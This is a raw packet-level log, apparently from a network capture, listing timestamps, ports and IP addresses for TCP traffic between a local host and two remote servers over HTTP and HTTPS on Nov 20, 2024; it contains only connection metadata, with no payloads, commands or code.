Nov 20, 2024 03:20:50.614012003 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.614825964 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.618930101 CET	49716	443	192.168.2.8	172.202.163.200
Nov 20, 2024 03:20:50.828584909 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.868868113 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.918631077 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.923664093 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.923702955 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.923738003 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.923789024 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.923823118 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.923835039 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.923835039 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.923871994 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.923907995 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.923922062 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.923959017 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.923994064 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.924020052 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.924026012 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.924061060 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.924062967 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.924103022 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.924113989 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.924150944 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.924154043 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.924164057 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.924200058 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.924202919 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.924254894 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.924288034 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.924304962 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.924320936 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.924355030 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.924392939 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.924392939 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.924406052 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.924457073 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.924490929 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.924523115 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.924539089 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.924556971 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.924590111 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.924623013 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.924633980 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.924633980 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.924657106 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.924690962 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.924720049 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.924758911 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.924793005 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.924804926 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.924830914 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.924865007 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.924889088 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.924900055 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.924933910 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.924972057 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.924998999 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.925005913 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.925055981 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.925090075 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.925107956 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.925107956 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.925122976 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.925157070 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.925168991 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.925219059 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.925268888 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.925291061 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.925302982 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.925339937 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.925364017 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.925374031 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.925407887 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.925426960 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.925441027 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.925473928 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.925476074 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.925507069 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.925539970 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.925570011 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.925601959 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.925617933 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.925617933 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.925647974 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.925697088 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.925730944 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.925748110 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.925762892 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.925796032 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.925818920 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.925829887 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.925863028 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.925896883 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.925911903 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.925916910 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.925966024 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.926016092 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.926049948 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.926067114 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.926081896 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.926116943 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.926137924 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.926151037 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.926184893 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.926217079 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.926223040 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.926250935 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.926263094 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.926284075 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.926316977 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.926350117 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.926356077 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.926356077 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.926388025 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.926419973 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.926454067 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.926459074 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.926487923 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.926512957 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.926522017 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.926554918 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.926589012 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.926621914 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.926630020 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.926661015 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.926665068 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.926712036 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.926747084 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.926755905 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.926779985 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.926798105 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.926816940 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.926865101 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.926898956 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.926934958 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.926966906 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.926968098 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.926985979 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.927000999 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.927033901 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.927042961 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.927067041 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.927078009 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.927100897 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.927133083 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.927165985 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.927166939 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.927200079 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.927233934 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.927254915 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.927267075 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.927300930 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.927305937 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.927357912 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.927357912 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.927396059 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.927429914 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.927463055 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.927472115 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.927495003 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.927529097 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.927562952 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.927577019 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.927577019 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.927613974 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.927645922 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.927679062 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.927695990 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.927728891 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.927762985 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.927791119 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.927795887 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.927829027 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.927861929 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.927864075 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.927864075 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.927896976 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.927928925 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.927951097 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.927963018 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.927995920 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.928025961 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.928029060 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.928064108 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.928072929 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.928097010 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.928128958 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.928153992 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.928162098 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.928195953 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.928230047 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.928256989 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.928263903 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.928287983 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.928298950 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.928332090 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.928360939 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.928366899 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.928417921 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.928426981 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.928469896 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.928503036 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.928536892 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.928575993 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.928586960 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.928623915 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.928652048 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.928656101 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.928689957 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.928694010 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.928723097 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.928756952 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.928780079 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.928788900 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.928822994 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.928854942 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.928883076 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.928883076 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.928888083 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.928920984 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.928953886 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.928987026 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.928996086 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.928996086 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.929020882 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.929055929 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.929089069 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.929100037 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.929122925 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.929156065 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.929182053 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.929188967 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.929197073 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.929223061 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.929267883 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.929302931 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.929311991 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.929351091 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.929367065 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.929400921 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.929450989 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.929466009 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.929485083 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.929517984 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.929553986 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.929565907 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.929601908 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.929635048 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.929641962 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.929657936 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.929667950 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.929699898 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.929708004 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.929708004 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.929733038 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.929765940 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.929797888 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.929841995 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.929853916 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.929862022 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.929879904 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.929887056 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.929905891 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.929922104 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.929955959 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.929975033 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.929989100 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.930039883 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.930056095 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.930075884 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.930121899 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.930154085 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.930169106 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.930203915 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.930242062 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.930250883 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.930285931 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.930319071 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.930324078 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.930351973 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.930387020 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.930397987 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.930421114 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.930454969 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.930488110 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.930488110 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.930501938 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.930521965 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.930555105 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.930569887 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.930591106 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.930623055 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.930658102 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.930691957 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.930713892 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.930713892 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.930725098 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.930758953 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.930784941 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.930792093 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.930824995 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.930859089 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.930881977 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.930893898 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.930927992 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.930938959 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.930962086 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.930994987 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.930994987 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.931029081 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.931062937 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.931067944 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.931096077 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.931116104 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.931142092 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.931175947 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.931210041 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.931237936 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.931242943 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.931277037 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.931309938 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.931329966 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.931359053 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.931380033 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.931561947 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:51.133078098 CET	49716	443	192.168.2.8	172.202.163.200
Nov 20, 2024 03:20:51.152590990 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:51.152638912 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:51.175342083 CET	443	49716	172.202.163.200	192.168.2.8
Nov 20, 2024 03:20:51.357609034 CET	443	49716	172.202.163.200	192.168.2.8
Nov 20, 2024 03:20:51.357630968 CET	443	49716	172.202.163.200	192.168.2.8
Nov 20, 2024 03:20:51.357637882 CET	443	49716	172.202.163.200	192.168.2.8
Nov 20, 2024 03:20:51.357655048 CET	443	49716	172.202.163.200	192.168.2.8
Nov 20, 2024 03:20:51.357685089 CET	443	49716	172.202.163.200	192.168.2.8
Nov 20, 2024 03:20:51.357842922 CET	49716	443	192.168.2.8	172.202.163.200
Nov 20, 2024 03:20:51.357873917 CET	443	49716	172.202.163.200	192.168.2.8
Nov 20, 2024 03:20:51.357922077 CET	49716	443	192.168.2.8	172.202.163.200
Nov 20, 2024 03:20:51.358119011 CET	443	49716	172.202.163.200	192.168.2.8
